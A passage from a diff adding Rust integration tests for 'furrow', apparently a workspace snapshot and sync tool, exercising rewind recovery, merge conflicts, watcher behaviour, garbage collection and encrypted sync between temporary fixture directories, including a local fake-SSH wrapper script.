cursor, + "--once", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let updates: Value = serde_json::from_slice(&updates).unwrap(); + assert_eq!(updates["cursor_found"], true); + assert_eq!(updates["head"], sealed["snapshot"]); + assert_eq!(updates["snapshots"].as_array().unwrap().len(), 1); + assert_eq!(updates["snapshots"][0]["id"], sealed["snapshot"]); + assert_eq!(updates["snapshots"][0]["label"], "agent completed task"); +} + +#[test] +fn merge_conflict_or_failed_check_never_mutates_source() { + let fixture = Fixture::new(); + fixture.watch(); + let conflict_fork = fixture._temp.path().join("conflict-agent"); + fixture + .furrow() + .args(["fork", "conflict-agent", "--destination"]) + .arg(&conflict_fork) + .assert() + .success(); + fs::write(fixture.repo.join("app.txt"), b"source version\n").unwrap(); + fs::write(conflict_fork.join("app.txt"), b"fork version\n").unwrap(); + + fixture + .furrow() + .args(["merge", "conflict-agent", "--dry-run"]) + .assert() + .failure() + .stderr(predicates::str::contains("conflict")); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"source version\n" + ); + + let check_fork = fixture._temp.path().join("check-agent"); + fixture + .furrow() + .args(["fork", "check-agent", "--destination"]) + .arg(&check_fork) + .assert() + .success(); + fs::write(check_fork.join("check-only.txt"), b"candidate\n").unwrap(); + fixture + .furrow() + .args(["merge", "check-agent", "--check", "false"]) + .assert() + .failure() + .stderr(predicates::str::contains("merge check failed")); + assert!(!fixture.repo.join("check-only.txt").exists()); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"source version\n" + ); +} + +/// Clones `fixture.repo` into `peer`, pairs both sides through a plain +/// directory remote, and bootstraps `peer` to the source's current head, so +/// both workspaces share a recorded common ancestor snapshot. +fn pair_via_directory_remote( + fixture: &Fixture, + peer: &Path, + peer_data: &Path, + remote: &Path, + name: &str, +) { + git( + fixture.repo.parent().unwrap(), + &[ + "clone", + fixture.repo.to_str().unwrap(), + peer.file_name().unwrap().to_str().unwrap(), + ], + ); + fixture.watch(); + furrow_at(peer, peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + + let pair_output = fixture + .furrow() + .args(["--json", "pair", remote.to_str().unwrap(), "--name", name]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap().to_owned(); + furrow_at(peer, peer_data) + .args([ + "pair", + remote.to_str().unwrap(), + "--name", + name, + "--key", + &key, + ]) + .assert() + .success(); + + fixture.furrow().args(["sync", "--push"]).assert().success(); + furrow_at(peer, peer_data) + .args(["sync", "--pull", "--bootstrap"]) + .assert() + .success(); +} + +/// Pushes the source's current state and pulls it on `peer`, which is +/// expected to report a divergence (each side already carries independent +/// edits). Returns the source's snapshot ID, which sync still fetches into +/// `peer`'s local object store even though it refuses to auto-merge it. +fn push_and_expect_divergence(fixture: &Fixture, peer: &Path, peer_data: &Path) -> String { + fixture.furrow().args(["sync", "--push"]).assert().success(); + let divergence_output = furrow_at(peer, peer_data) + .args(["--json", "sync", "--pull"]) + .assert() + .failure() + .get_output() + .stdout + .clone(); + let divergence: Value = serde_json::from_slice(&divergence_output).unwrap(); + assert_eq!(divergence["disposition"], "diverged"); + divergence["remote_snapshot"].as_str().unwrap().to_owned() +} + +#[test] +fn merge_by_snapshot_id_converges_independent_changes_synced_through_a_directory_remote() { + let fixture = Fixture::new(); + let peer = fixture.repo.parent().unwrap().join("snapshot-merge-peer"); + let peer_data = fixture + .repo + .parent() + .unwrap() + .join("snapshot-merge-peer-data"); + let remote = fixture.repo.parent().unwrap().join("snapshot-merge-remote"); + pair_via_directory_remote(&fixture, &peer, &peer_data, &remote, "snapshot-merge"); + + fs::write(peer.join("peer-only.txt"), b"peer work\n").unwrap(); + fs::write(fixture.repo.join("source-only.txt"), b"source work\n").unwrap(); + let theirs = push_and_expect_divergence(&fixture, &peer, &peer_data); + + // No --base: the pull boundary snapshot the two sides share is the only + // common ancestor, so it must be derived unambiguously. + furrow_at(&peer, &peer_data) + .args([ + "merge", + "--snapshot", + &theirs, + "--check", + "grep -q 'peer work' peer-only.txt && grep -q 'source work' source-only.txt", + ]) + .assert() + .success(); + + assert_eq!( + fs::read(peer.join("peer-only.txt")).unwrap(), + b"peer work\n" + ); + assert_eq!( + fs::read(peer.join("source-only.txt")).unwrap(), + b"source work\n" + ); + let timeline = furrow_at(&peer, &peer_data) + .args(["--json", "timeline"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let timeline: Value = serde_json::from_slice(&timeline).unwrap(); + assert_eq!(timeline[0]["trigger"], "merge"); +} + +#[test] +fn merge_by_snapshot_id_reports_conflicts_identically_to_a_fork_merge() { + let fixture = Fixture::new(); + let peer = fixture + .repo + .parent() + .unwrap() + .join("snapshot-conflict-peer"); + let peer_data = fixture + .repo + .parent() + .unwrap() + .join("snapshot-conflict-peer-data"); + let remote = fixture + .repo + .parent() + .unwrap() + .join("snapshot-conflict-remote"); + pair_via_directory_remote(&fixture, &peer, &peer_data, &remote, "snapshot-conflict"); + + fs::write(peer.join("app.txt"), b"peer version\n").unwrap(); + fs::write(fixture.repo.join("app.txt"), b"source version\n").unwrap(); + let theirs = push_and_expect_divergence(&fixture, &peer, &peer_data); + + let snapshot_output = furrow_at(&peer, &peer_data) + .args(["--json", "merge", "--snapshot", &theirs, "--dry-run"]) + .assert() + .failure() + .get_output() + .stdout + .clone(); + let snapshot_outcome: Value = serde_json::from_slice(&snapshot_output).unwrap(); + let snapshot_conflicts = snapshot_outcome["conflicts"].clone(); + assert_eq!(snapshot_conflicts.as_array().unwrap().len(), 1); + assert_eq!(snapshot_conflicts[0]["kind"], "modify_modify"); + assert!(fs::read(peer.join("app.txt")).unwrap() == b"peer version\n"); + + // The identical conflicting edit through a plain fork merge must report + // the same conflict shape: same path, same kind. + let conflict_fixture = Fixture::new(); + conflict_fixture.watch(); + let fork = conflict_fixture._temp.path().join("app-conflict-fork"); + conflict_fixture + .furrow() + .args(["fork", "app-conflict-fork", "--destination"]) + .arg(&fork) + .assert() + .success(); + fs::write(conflict_fixture.repo.join("app.txt"), b"source version\n").unwrap(); + fs::write(fork.join("app.txt"), b"peer version\n").unwrap(); + let fork_output = conflict_fixture + .furrow() + .args(["--json", "merge", "app-conflict-fork", "--dry-run"]) + .assert() + .failure() + .get_output() + .stdout + .clone(); + let fork_outcome: Value = serde_json::from_slice(&fork_output).unwrap(); + assert_eq!(fork_outcome["conflicts"], snapshot_conflicts); +} + +#[test] +fn paged_flat_directory_snapshot_restores_entries_across_pages() { + let fixture = Fixture::new(); + let flat = fixture.repo.join("flat"); + fs::create_dir(&flat).unwrap(); + for index in 0..1_200 { + fs::write( + flat.join(format!("entry-{index:04}.txt")), + format!("value {index}\n"), + ) + .unwrap(); + } + let snapshot = fixture.watch(); + for index in [0, 599, 1_199] { + fs::remove_file(flat.join(format!("entry-{index:04}.txt"))).unwrap(); + } + + fixture + .furrow() + .args(["rewind", &snapshot, "--paths", "flat", "--yes"]) + .assert() + .success(); + for index in [0, 599, 1_199] { + assert_eq!( + fs::read(flat.join(format!("entry-{index:04}.txt"))).unwrap(), + format!("value {index}\n").as_bytes() + ); + } +} + +#[test] +fn interrupted_rewind_rolls_back_to_pre_rewind_state_on_next_command() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + fs::write(fixture.repo.join(".env"), b"TOKEN=broken\n").unwrap(); + fs::write(fixture.repo.join("app.txt"), b"broken app\n").unwrap(); + + fixture + .furrow() + .env("FURROW_FAILPOINT", "rewind_after_first_change") + .args(["rewind", &snapshot, "--yes"]) + .assert() + .code(86); + + // Opening the repository detects the durable intent and restores the + // automatic pre-rewind snapshot before serving status. + fixture + .furrow() + .arg("status") + .assert() + .success() + .stderr(predicates::str::contains("recovering interrupted rewind")); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=broken\n" + ); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"broken app\n" + ); +} + +#[test] +fn live_writer_interference_is_rescued_and_rewind_rolls_back() { + let fixture = Fixture::new(); + let target = fixture.watch(); + fs::write(fixture.repo.join("app.txt"), b"pre-rewind damage\n").unwrap(); + + let mut child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_TEST_REWIND_PAUSE_AFTER_APPLY_MS", "750") + .arg("--repo") + .arg(&fixture.repo) + .args(["rewind", &target, "--yes"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .unwrap(); + let deadline = Instant::now() + Duration::from_secs(10); + loop { + assert!( + Instant::now() < deadline, + "rewind never reached its target state" + ); + if fs::read(fixture.repo.join("app.txt")).unwrap_or_default() == b"tracked original\n" { + break; + } + assert!( + child.try_wait().unwrap().is_none(), + "rewind exited before interference" + ); + std::thread::sleep(Duration::from_millis(10)); + } + fs::write(fixture.repo.join("app.txt"), b"live writer bytes\n").unwrap(); + + let output = child.wait_with_output().unwrap(); + assert!(!output.status.success()); + let stderr = String::from_utf8(output.stderr).unwrap(); + let marker = "interference was preserved as snapshot "; + let rescue = stderr + .split_once(marker) + .map(|(_, value)| &value[..64]) + .expect("rewind did not report its interference rescue snapshot"); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"pre-rewind damage\n" + ); + + fixture + .furrow() + .args(["rewind", rescue, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"live writer bytes\n" + ); +} + +#[test] +fn precondition_interference_cancels_rewind_without_touching_writer_bytes() { + let fixture = Fixture::new(); + let target = fixture.watch(); + fs::write(fixture.repo.join("app.txt"), b"pre-rewind damage\n").unwrap(); + + let child = std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .env("FURROW_TEST_REWIND_PAUSE_BEFORE_PRECONDITION_MS", "750") + .arg("--repo") + .arg(&fixture.repo) + .args(["rewind", &target, "--yes"]) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .spawn() + .unwrap(); + let deadline = Instant::now() + Duration::from_secs(10); + loop { + assert!( + Instant::now() < deadline, + "pre-rewind seal was not published" + ); + let timeline = fixture + .furrow() + .args(["--json", "timeline", "--limit", "1"]) + .output() + .unwrap(); + if timeline.status.success() { + let timeline: Value = serde_json::from_slice(&timeline.stdout).unwrap(); + if timeline[0]["trigger"] == "pre_rewind" { + break; + } + } + std::thread::sleep(Duration::from_millis(10)); + } + fs::write(fixture.repo.join("app.txt"), b"writer before mutation\n").unwrap(); + + let output = child.wait_with_output().unwrap(); + assert!(!output.status.success()); + assert!(String::from_utf8(output.stderr) + .unwrap() + .contains("cancelled before mutation")); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"writer before mutation\n" + ); +} + +#[test] +fn foreground_watcher_seals_after_write_quiescence() { + let fixture = Fixture::new(); + let mut child = spawn_foreground_watcher(&fixture, "100"); + let deadline = Instant::now() + Duration::from_secs(10); + assert!( + child.try_wait().unwrap().is_none(), + "foreground watcher exited during initial protection" + ); + fs::write( + fixture.repo.join("automatic.txt"), + b"captured automatically\n", + ) + .unwrap(); + fs::write(fixture.repo.join("app.txt"), b"watcher version\n").unwrap(); + fs::remove_file(fixture.repo.join(".env")).unwrap(); + fs::create_dir(fixture.repo.join("watcher-dir")).unwrap(); + fs::write( + fixture.repo.join("watcher-dir/nested.txt"), + b"nested watcher state\n", + ) + .unwrap(); + fs::remove_dir_all(fixture.repo.join("cache")).unwrap(); + + let mut watcher_snapshot = None; + while Instant::now() < deadline { + let output = fixture + .furrow() + .args(["--json", "timeline"]) + .output() + .unwrap(); + if output.status.success() { + let value: Value = serde_json::from_slice(&output.stdout).unwrap(); + watcher_snapshot = value + .as_array() + .unwrap() + .iter() + .find(|row| row["trigger"] == "watcher") + .and_then(|row| row["id"].as_str()) + .map(str::to_owned); + if watcher_snapshot.is_some() { + break; + } + } + std::thread::sleep(Duration::from_millis(100)); + } + child.kill().ok(); + child.wait().ok(); + let watcher_snapshot = watcher_snapshot.expect("watcher did not publish a snapshot"); + + fs::write(fixture.repo.join("app.txt"), b"later damage\n").unwrap(); + fs::write(fixture.repo.join(".env"), b"TOKEN=recreated\n").unwrap(); + fs::remove_dir_all(fixture.repo.join("watcher-dir")).unwrap(); + fs::create_dir(fixture.repo.join("cache")).unwrap(); + fs::write(fixture.repo.join("cache/damage"), b"recreated\n").unwrap(); + fixture + .furrow() + .args(["rewind", &watcher_snapshot, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join("app.txt")).unwrap(), + b"watcher version\n" + ); + assert!(!fixture.repo.join(".env").exists()); + assert!(!fixture.repo.join("cache").exists()); + assert_eq!( + fs::read(fixture.repo.join("watcher-dir/nested.txt")).unwrap(), + b"nested watcher state\n" + ); +} + +#[test] +fn watcher_reloads_policy_and_ignores_excluded_subtree_churn() { + let fixture = Fixture::new(); + let mut child = spawn_foreground_watcher(&fixture, "75"); + let deadline = Instant::now() + Duration::from_secs(10); + let before = fixture + .furrow() + .args(["--json", "timeline", "--limit", "1"]) + .output() + .unwrap(); + let before: Value = serde_json::from_slice(&before.stdout).unwrap(); + let before = before[0]["id"].as_str().unwrap().to_owned(); + + fs::write(fixture.repo.join(".furrowpolicy"), b"exclude cache\n").unwrap(); + let policy_head = loop { + assert!(Instant::now() < deadline, "policy change was not sealed"); + let output = fixture + .furrow() + .args(["--json", "timeline", "--limit", "1"]) + .output() + .unwrap(); + if output.status.success() { + let value: Value = serde_json::from_slice(&output.stdout).unwrap(); + let head = value[0]["id"].as_str().unwrap(); + if head != before && value[0]["trigger"] == "watcher" { + break head.to_owned(); + } + } + std::thread::sleep(Duration::from_millis(75)); + }; + + fs::write( + fixture.repo.join("cache/dependency.bin"), + vec![3_u8; 180_000], + ) + .unwrap(); + std::thread::sleep(Duration::from_millis(500)); + let after = fixture + .furrow() + .args(["--json", "timeline", "--limit", "1"]) + .output() + .unwrap(); + let after: Value = serde_json::from_slice(&after.stdout).unwrap(); + child.kill().ok(); + child.wait().ok(); + assert_eq!(after[0]["id"], policy_head); +} + +#[test] +fn default_watch_starts_background_protection_and_forget_stops_it() { + let fixture = Fixture::new(); + std::process::Command::new(env!("CARGO_BIN_EXE_furrow")) + .env("FURROW_DATA_DIR", &fixture.data) + .arg("--repo") + .arg(&fixture.repo) + .arg("watch") + .status() + .unwrap() + .success() + .then_some(()) + .expect("watch failed"); + + let output = fixture + .furrow() + .args(["--json", "status"]) + .output() + .unwrap(); + let status: Value = serde_json::from_slice(&output.stdout).unwrap(); + assert_eq!(status["watcher_running"], true); + + fixture.furrow().arg("forget").assert().success(); + let workspace = fixture.data.join("store-v1/workspaces"); + let pid_files: Vec<_> = fs::read_dir(workspace) + .unwrap() + .filter_map(Result::ok) + .map(|entry| entry.path().join("daemon.pid")) + .filter(|path| path.exists()) + .collect(); + assert!(pid_files.is_empty()); +} + +#[test] +fn recovery_rediscovers_workspace_after_git_clean_removes_pointer() { + let fixture = Fixture::new(); + let snapshot = fixture.watch(); + git(&fixture.repo, &["clean", "-fdx"]); + assert!(!fixture.repo.join(".furrow/workspace-id").exists()); + assert!(!fixture.repo.join(".env").exists()); + + fixture + .furrow() + .args(["rewind", &snapshot, "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(fixture.repo.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert!(fixture.repo.join(".furrow/workspace-id").exists()); +} + +#[test] +fn plain_forget_stays_detached_instead_of_being_rediscovered() { + let fixture = Fixture::new(); + fixture.watch(); + let workspace_id = fs::read_to_string(fixture.repo.join(".furrow/workspace-id")).unwrap(); + + fixture.furrow().arg("forget").assert().success(); + assert!(!fixture.repo.join(".furrow/workspace-id").exists()); + fixture + .furrow() + .arg("status") + .assert() + .failure() + .stderr(predicates::str::contains("not watched")); + let output = fixture + .furrow() + .args(["--json", "gc", "--dry-run"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let report: Value = serde_json::from_slice(&output).unwrap(); + assert!(report["roots"].as_u64().unwrap() > 0); + + fixture + .furrow() + .args(["watch", "--no-daemon"]) + .assert() + .success(); + let new_workspace_id = fs::read_to_string(fixture.repo.join(".furrow/workspace-id")).unwrap(); + assert_ne!(workspace_id, new_workspace_id); +} + +#[test] +fn purge_then_gc_reclaims_only_unshared_history() { + let fixture = Fixture::new(); + fixture.watch(); + + let second = fixture.repo.parent().unwrap().join("second"); + git( + fixture.repo.parent().unwrap(), + &["clone", fixture.repo.to_str().unwrap(), "second"], + ); + let second_furrow = || { + let mut command = Command::cargo_bin("furrow").unwrap(); + command + .env("FURROW_DATA_DIR", &fixture.data) + .env("FURROW_NO_DAEMON", "1") + .arg("--repo") + .arg(&second); + command + }; + let output = second_furrow() + .args(["--json", "watch", "--no-daemon"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let second_snapshot = serde_json::from_slice::(&output).unwrap()["snapshot"] + .as_str() + .unwrap() + .to_owned(); + + fixture + .furrow() + .args(["forget", "--purge"]) + .assert() + .success(); + let preview_output = fixture + .furrow() + .args(["--json", "gc", "--dry-run"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let preview: Value = serde_json::from_slice(&preview_output).unwrap(); + assert_eq!(preview["dry_run"], true); + assert!(preview["unreachable_objects"].as_u64().unwrap() > 0); + + let output = fixture + .furrow() + .args(["--json", "gc"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let report: Value = serde_json::from_slice(&output).unwrap(); + assert!(report["unreachable_objects"].as_u64().unwrap() > 0); + assert!(report["reclaimed_bytes"].as_u64().unwrap() > 0); + + fs::write(second.join("app.txt"), b"destroyed after gc\n").unwrap(); + second_furrow() + .args(["rewind", &second_snapshot, "--paths", "app.txt", "--yes"]) + .assert() + .success(); + assert_eq!( + fs::read(second.join("app.txt")).unwrap(), + b"tracked original\n" + ); +} + +#[test] +fn encrypted_two_store_sync_fast_forwards_and_preserves_divergence() { + let fixture = Fixture::new(); + let peer = fixture.repo.parent().unwrap().join("peer"); + let peer_data = fixture.repo.parent().unwrap().join("peer-data"); + let remote = fixture.repo.parent().unwrap().join("remote"); + git( + fixture.repo.parent().unwrap(), + &["clone", fixture.repo.to_str().unwrap(), "peer"], + ); + fixture.watch(); + furrow_at(&peer, &peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + + let pair_output = fixture + .furrow() + .args([ + "--json", + "pair", + remote.to_str().unwrap(), + "--name", + "shared-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap(); + furrow_at(&peer, &peer_data) + .args([ + "pair", + remote.to_str().unwrap(), + "--name", + "shared-workspace", + "--key", + key, + ]) + .assert() + .success(); + + fixture.furrow().args(["sync", "--push"]).assert().success(); + let bootstrap_output = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let bootstrap: Value = serde_json::from_slice(&bootstrap_output).unwrap(); + assert_eq!(bootstrap["disposition"], "bootstrapped"); + assert_eq!(fs::read(peer.join(".env")).unwrap(), b"TOKEN=original\n"); + assert_eq!( + fs::read(peer.join("cache/dependency.bin")).unwrap(), + vec![7_u8; 180_000] + ); + let unchanged_inode = fs::metadata(peer.join("cache/dependency.bin")) + .unwrap() + .ino(); + + fs::write(fixture.repo.join("app.txt"), b"remote delta\n").unwrap(); + let second_push = fixture + .furrow() + .args(["--json", "sync", "--push"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let second_push: Value = serde_json::from_slice(&second_push).unwrap(); + assert!(second_push["reused_objects"].as_u64().unwrap() > 0); + assert!(second_push["uploaded_objects"].as_u64().unwrap() < 10); + let mut pull_command = furrow_at(&peer, &peer_data); + let pull = pull_command + .args(["--json", "sync", "--pull", "--timings"]) + .assert() + .success(); + let pull_stderr = String::from_utf8_lossy(&pull.get_output().stderr); + for phase in [ + "diff-compute=", + "divergence-check=", + "write=", + "fsync=", + "baseline-install=", + "watcher-requiesce=", + ] { + assert!( + pull_stderr.contains(phase), + "pull --timings omitted apply phase {phase}: {pull_stderr}" + ); + } + let pull: Value = serde_json::from_slice(&pull.get_output().stdout).unwrap(); + assert_eq!(pull["disposition"], "fast_forwarded"); + assert_eq!( + pull["local_snapshot"], second_push["snapshot"], + "a clean receiver must adopt the already-sealed remote identity" + ); + assert_eq!( + pull["remote_snapshot"], second_push["snapshot"], + "the authenticated remote head must remain the adopted identity" + ); + assert_eq!(fs::read(peer.join("app.txt")).unwrap(), b"remote delta\n"); + assert_eq!( + fs::metadata(peer.join("cache/dependency.bin")) + .unwrap() + .ino(), + unchanged_inode, + "delta materialization must not replace an unchanged repository path" + ); + let status = furrow_at(&peer, &peer_data) + .args(["--json", "status"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let status: Value = serde_json::from_slice(&status).unwrap(); + assert_eq!(status["head"], second_push["snapshot"]); + + fs::write(peer.join("notes.txt"), b"offline peer work\n").unwrap(); + fs::write(fixture.repo.join("app.txt"), b"new remote work\n").unwrap(); + fixture.furrow().args(["sync", "--push"]).assert().success(); + let divergence_output = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull"]) + .assert() + .failure() + .get_output() + .stdout + .clone(); + let divergence: Value = serde_json::from_slice(&divergence_output).unwrap(); + assert_eq!(divergence["disposition"], "diverged"); + assert_eq!( + fs::read(peer.join("notes.txt")).unwrap(), + b"offline peer work\n" + ); + + // The incoming sibling remains an exact GC root and can still be + // materialized by its full authenticated snapshot ID after compaction. + furrow_at(&peer, &peer_data).arg("gc").assert().success(); + furrow_at(&peer, &peer_data) + .args([ + "rewind", + divergence["remote_snapshot"].as_str().unwrap(), + "--dry-run", + ]) + .assert() + .success(); + furrow_at(&peer, &peer_data) + .args(["sync", "--push", "--takeover"]) + .assert() + .failure() + .stderr(predicates::str::contains( + "remote workspace changed since this machine last synchronized", + )); + fs::write( + fixture.repo.join("after-stale-attempt.txt"), + b"writer retained\n", + ) + .unwrap(); + fixture.furrow().args(["sync", "--push"]).assert().success(); + + let mut remote_files = Vec::new(); + collect_files(&remote, &mut remote_files); + for path in remote_files { + let bytes = fs::read(path).unwrap(); + assert!(!bytes + .windows(b"TOKEN=original".len()) + .any(|window| window == b"TOKEN=original")); + } +} + +#[test] +fn sync_ref_flag_publishes_and_pulls_an_independent_named_head() { + let fixture = Fixture::new(); + let peer = fixture.repo.parent().unwrap().join("peer"); + let peer_data = fixture.repo.parent().unwrap().join("peer-data"); + let remote = fixture.repo.parent().unwrap().join("remote"); + git( + fixture.repo.parent().unwrap(), + &["clone", fixture.repo.to_str().unwrap(), "peer"], + ); + fixture.watch(); + furrow_at(&peer, &peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + + let pair_output = fixture + .furrow() + .args([ + "--json", + "pair", + remote.to_str().unwrap(), + "--name", + "shared-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pair: Value = serde_json::from_slice(&pair_output).unwrap(); + let key = pair["key_hex"].as_str().unwrap(); + furrow_at(&peer, &peer_data) + .args([ + "pair", + remote.to_str().unwrap(), + "--name", + "shared-workspace", + "--key", + key, + ]) + .assert() + .success(); + + // Publish under a named ref rather than the default HEAD. + fixture + .furrow() + .args(["sync", "--push", "--ref", "team-a"]) + .assert() + .success(); + + // Pulling a ref that was never published fails with a clear error + // naming the missing ref, not a generic one. + furrow_at(&peer, &peer_data) + .args(["sync", "--pull", "--ref", "does-not-exist"]) + .assert() + .failure() + .stderr(predicates::str::contains("does-not-exist")); + + // Pulling the actual named ref materializes it on a clean receiver. + let pull_output = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--ref", "team-a", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let pull: Value = serde_json::from_slice(&pull_output).unwrap(); + assert_eq!(pull["disposition"], "bootstrapped"); + assert_eq!( + fs::read(peer.join("app.txt")).unwrap(), + b"tracked original\n" + ); + + // The default, ref-less HEAD/LEASE keys stay untouched; the named ref + // lives in its own nested, independent slot. + let namespace_root = fs::read_dir(&remote) + .unwrap() + .next() + .unwrap() + .unwrap() + .path(); + assert!(!namespace_root.join("HEAD").exists()); + assert!(!namespace_root.join("LEASE").exists()); + assert!(namespace_root.join("refs/team-a/HEAD").is_file()); + assert!(namespace_root.join("refs/team-a/LEASE").is_file()); +} + +#[test] +fn remote_add_and_follow_keep_two_directory_backed_machines_current_with_small_deltas() { + let fixture = Fixture::new(); + let peer = fixture.repo.parent().unwrap().join("follow-peer"); + let peer_data = fixture.repo.parent().unwrap().join("follow-peer-data"); + let remote = fixture.repo.parent().unwrap().join("follow-remote"); + git( + fixture.repo.parent().unwrap(), + &["clone", fixture.repo.to_str().unwrap(), "follow-peer"], + ); + fixture.watch(); + furrow_at(&peer, &peer_data) + .args(["watch", "--no-daemon"]) + .assert() + .success(); + + let add = fixture + .furrow() + .args([ + "--json", + "remote", + "add", + remote.to_str().unwrap(), + "--name", + "live-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let add: Value = serde_json::from_slice(&add).unwrap(); + assert_eq!(add["namespace"], "live-workspace"); + assert_eq!( + PathBuf::from(add["remote"].as_str().unwrap()), + fs::canonicalize(&remote).unwrap() + ); + let key = add["key_hex"].as_str().unwrap(); + assert_eq!(key.len(), 64); + + furrow_at(&peer, &peer_data) + .args([ + "remote", + "add", + remote.to_str().unwrap(), + "--name", + "live-workspace", + "--key", + key, + ]) + .assert() + .success(); + + let _publisher = follow_process(&fixture.repo, &fixture.data); + wait_until( + "the first followed snapshot to publish", + Duration::from_secs(10), + || { + let mut files = Vec::new(); + collect_files(&remote, &mut files); + files.iter().any(|path| path.file_name().unwrap() == "HEAD") + }, + ); + let bootstrap = furrow_at(&peer, &peer_data) + .args(["--json", "sync", "--pull", "--bootstrap"]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let bootstrap: Value = serde_json::from_slice(&bootstrap).unwrap(); + assert_eq!(bootstrap["disposition"], "bootstrapped"); + assert_eq!(fs::read(peer.join(".env")).unwrap(), b"TOKEN=original\n"); + + let _subscriber = follow_process(&peer, &peer_data); + let bytes_before_delta = tree_physical_bytes(&remote); + fs::write(fixture.repo.join("app.txt"), b"one small agent edit\n").unwrap(); + fixture + .furrow() + .args(["snap", "-m", "agent completed report edit"]) + .assert() + .success(); + + wait_until( + "the peer to receive the followed delta", + Duration::from_secs(12), + || fs::read(peer.join("app.txt")).ok().as_deref() == Some(b"one small agent edit\n"), + ); + let delta_bytes = tree_physical_bytes(&remote).saturating_sub(bytes_before_delta); + assert!( + delta_bytes < 64 * 1024, + "a tiny edit unexpectedly added {delta_bytes} remote bytes" + ); + assert_eq!( + fs::read(peer.join("cache/dependency.bin")).unwrap(), + vec![7_u8; 180_000] + ); +} + +#[test] +fn network_clone_materializes_exact_state_and_removes_failed_destinations() { + let fixture = Fixture::new(); + let remote_data = fixture.repo.parent().unwrap().join("clone-remote-data"); + let clone_data = fixture.repo.parent().unwrap().join("clone-client-data"); + let wrapper = fixture.repo.parent().unwrap().join("clone-fake-ssh.sh"); + fs::write( + &wrapper, + b"#!/bin/sh\nwhile [ \"$1\" != \"--\" ]; do shift; done\nshift\nshift\nshift\nexec \"$FURROW_TEST_BIN\" \"$@\"\n", + ) + .unwrap(); + let mut mode = fs::metadata(&wrapper).unwrap().permissions(); + mode.set_mode(0o755); + fs::set_permissions(&wrapper, mode).unwrap(); + fixture.watch(); + + let ssh_furrow = |repo: &Path, data: &Path| { + let mut command = furrow_at(repo, data); + command + .env("FURROW_SSH_COMMAND", &wrapper) + .env("FURROW_REMOTE_DATA_DIR", &remote_data) + .env("FURROW_TEST_BIN", env!("CARGO_BIN_EXE_furrow")); + command + }; + let add = ssh_furrow(&fixture.repo, &fixture.data) + .args([ + "--json", + "remote", + "add", + "ssh://fake-host", + "--name", + "clone-workspace", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let add: Value = serde_json::from_slice(&add).unwrap(); + let key = add["key_hex"].as_str().unwrap(); + ssh_furrow(&fixture.repo, &fixture.data) + .args(["sync", "--push"]) + .assert() + .success(); + + let failed = fixture.repo.parent().unwrap().join("failed-clone"); + ssh_furrow(&fixture.repo, &clone_data) + .args([ + "clone", + "ssh://fake-host/clone-workspace", + failed.to_str().unwrap(), + "--key", + &"00".repeat(32), + "--no-watch", + ]) + .assert() + .failure() + .stderr(predicates::str::contains( + "incomplete destination was removed", + )); + assert!(!failed.exists()); + + let destination = fixture.repo.parent().unwrap().join("network-clone"); + let output = ssh_furrow(&fixture.repo, &clone_data) + .args([ + "--json", + "clone", + "ssh://fake-host/clone-workspace", + destination.to_str().unwrap(), + "--key", + key, + "--no-watch", + ]) + .assert() + .success() + .get_output() + .stdout + .clone(); + let output: Value = serde_json::from_slice(&output).unwrap(); + assert_eq!(output["sync"]["disposition"], "bootstrapped"); + assert_eq!( + fs::read(destination.join(".env")).unwrap(), + b"TOKEN=original\n" + ); + assert_eq!( + fs::read(destination.join("cache/dependency.bin")).unwrap(), + vec![7_u8; 180_000] + ); + assert_eq!( + fs::read_link(destination.join("app-link")).unwrap(), + PathBuf::from("app.txt") + ); +} + +#[test] +fn persistent_ssh_helper_syncs_independent_stores_over_framed_stdio() { + let fixture = Fixture::new(); + let peer = fixture.repo.parent().unwrap().join("ssh-peer"); + let peer_data = fixture.repo.parent().unwrap().join("ssh-peer-data"); + let remote_data = 